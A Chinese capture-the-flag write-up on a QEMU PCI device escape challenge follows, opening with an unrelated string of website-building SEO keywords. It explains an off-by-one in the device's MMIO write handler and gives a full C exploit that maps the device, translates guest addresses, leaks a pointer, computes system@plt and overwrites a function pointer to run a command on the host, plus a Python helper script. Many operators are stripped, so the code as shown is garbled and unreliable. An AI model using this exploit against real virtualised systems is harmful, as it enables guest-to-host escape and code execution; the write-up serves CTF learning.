沈阳建站经验,科技创新网站建设策划书,如何进行网站建设,网站建设客户管理系统前言
虚拟机用户名#xff1a;root
无密码
设备逆向
经过逆向分析#xff0c;可得实例结构体大致结构如下#xff1a; 其中 self 指向的是结构体本身#xff0c;cpu_physical_memory_rw 就是这个函数的函数指针。arr 应该是 PCI 设备类结构体没啥用#xff0c;就直接用…前言
虚拟机用户名root
无密码
设备逆向
经过逆向分析可得实例结构体大致结构如下 其中 self 指向的是结构体本身cpu_physical_memory_rw 就是这个函数的函数指针。arr 应该是 PCI 设备类结构体没啥用就直接用数组填充了。
zzz_mmio_read 函数就是读取 buf 中的内容没啥用就不看了重点在 zzz_mmio_write 函数中。
zzz_mmio_write 函数 函数我已经把注释写的非常清楚了就不详细说了。主要说下漏洞的利用。
漏洞利用 漏洞很明显就一个 off by one而且题目无中生有的在 buf 后面搞了个 self 指针并且在对 dst 进行读写时是先取的 self 指针然后 dst/src/len/cpu_..._rw 函数都是根据这个 self 指针来的。
所以利用就很明显了buf 这个空间我们是可控的所以我们可以利用 off by one 去将 self 指针进行偏移使得 dstlenoffset 落在 buf 中这样就可以实现任意读了。
为啥说是任意读呢因为要实现写得让 len 的低比特为 0这里可以利用那个异或操作。
exp
#include stdio.h
#include stdlib.h
#include sys/mman.h
#include fcntl.h
#include stdint.h
#include string.hvoid binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 (uint64_t *) addr;uint8_t *buf8 (uint8_t *) addr;if (desc ! NULL) {printf(\033[33m[*] %s:\n\033[0m, desc);}for (int i 0; i len / 8; i 4) {printf( %04x, i * 8);for (int j 0; j 4; j) {i j len / 8 ? printf( 0x%016lx, buf64[i j]) : printf( );}printf( );for (int j 0; j 32 j i * 8 len; j) {printf(%c, isprint(buf8[i * 8 j]) ? buf8[i * 8 j] : .);}puts();}
}void * mmio_base;
void mmio_init()
{int fd open(/sys/devices/pci0000:00/0000:00:04.0/resource0, O_RDWR|O_SYNC);if (fd 0) puts([X] open for resource0), exit(EXIT_FAILURE);mmio_base mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base 0) puts([X] mmap for mmio), exit(EXIT_FAILURE);if (mlock(mmio_base, 0x100000) 0) puts([X] mlock for mmio), exit(EXIT_FAILURE);printf([] mmio_base: %#p\n, mmio_base);
}uint64_t gva_to_gpa(void* addr)
{uint64_t page;int fd open(/proc/self/pagemap, O_RDONLY);if (fd 0) puts([X] open for pagemap), exit(EXIT_FAILURE);lseek(fd, ((uint64_t)addr 12 3), 0);read(fd, page, 8);return ((page ((1ULL 55) - 1)) 12) | ((uint64_t)addr ((1ULL 12) - 1));
}void mmio_write(uint64_t addr, uint64_t val)
{*(uint64_t*)(mmio_base addr) val;
}int main(int argc, char** argv, char** envp)
{mmio_init();char * buf mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);memset(buf, 0, 0x1000);mlock(buf, 0x1000);uint64_t gpa gva_to_gpa(buf);printf([] gpa: %#p\n, gpa);//n 0x1001//offset 0xfee//offset ^ 0x209 0xde7char cmd[8] xcalc;\x00\x00;*(uint64_t*)(buf 0x00) gpa;*(uint32_t*)(buf 0x08) (0x1000-0xfee)|1;*(uint32_t*)(buf 0x0a) 0xfee;*(uint64_t*)(buf 0x430) *(uint64_t*)cmd;*(uint64_t*)(buf 0x430 0x8) 0;*(uint64_t*)(buf 0x430 0xa) 0;puts([] Step 1);mmio_write(0x10, 0);mmio_write(0x18, 0x440);mmio_write(0x20, gpa 12);mmio_write(0x60, 0);puts([] Step 2);buf[0] \x00;buf[1] \xf0;mmio_write(0x10, 0xfff);mmio_write(0x18, 2);mmio_write(0x20, gpa 12);mmio_write(0x60, 0);puts([] Step 3);mmio_write(0x60, 0);binary_dump(OOR DATA, buf2, 0x20);uint64_t self_addr *(uint64_t*)(buf 2) - 0x10;uint64_t system_plt *(uint64_t*)(buf 2 0x08) - 0x314b40;printf([] systemplt: %#p\n, system_plt);puts([] Step 4);mmio_write(0x10, 8);mmio_write(0x18, 24);puts([] xor xor);mmio_write(0x50, 0);buf[0] \x00;*(uint64_t*)(buf 1) self_addr 0xe20;*(uint32_t*)(buf 1 8) 0;*(uint32_t*)(buf 1 8 4) 0;*(uint64_t*)(buf 0x209) self_addr 0xe08;*(uint64_t*)(buf 0x209 0x8) system_plt;puts([] Step 5);mmio_write(0x60, 0);puts([] Triger);mmio_write(0x60, 0);puts([] END!);return 0;
}
效果如下 坑点
就我而言在我的本地环境中实例结构体地址的低字节为 0xe0而由于我们只能修改低字节的数据所以这里就只能把 self 的低字节修改为 0xf0。 在伪造 dst/len/offset如果你伪造的 offset 0xff0len 0x11 你会发现后面异或之后其 len offset 0x1001 导致无法进行写入针对实例结构体而言。所以这里的 offset 和 len 不能随便伪造。这里写了一个脚本用于计算伪造的 offset 和 len
for offset in range(0, 0xff0):orgi_n offset ((0x1000 - offset)|1)n (offset^0x209) ((((0x1000-offset)|1))^0x209)if n 0x1001 and orgi_n 0x1001:print(n , hex(n))print(offset , hex(offset))print(offset ^ 0x209 , hex(offset ^ 0x209))print()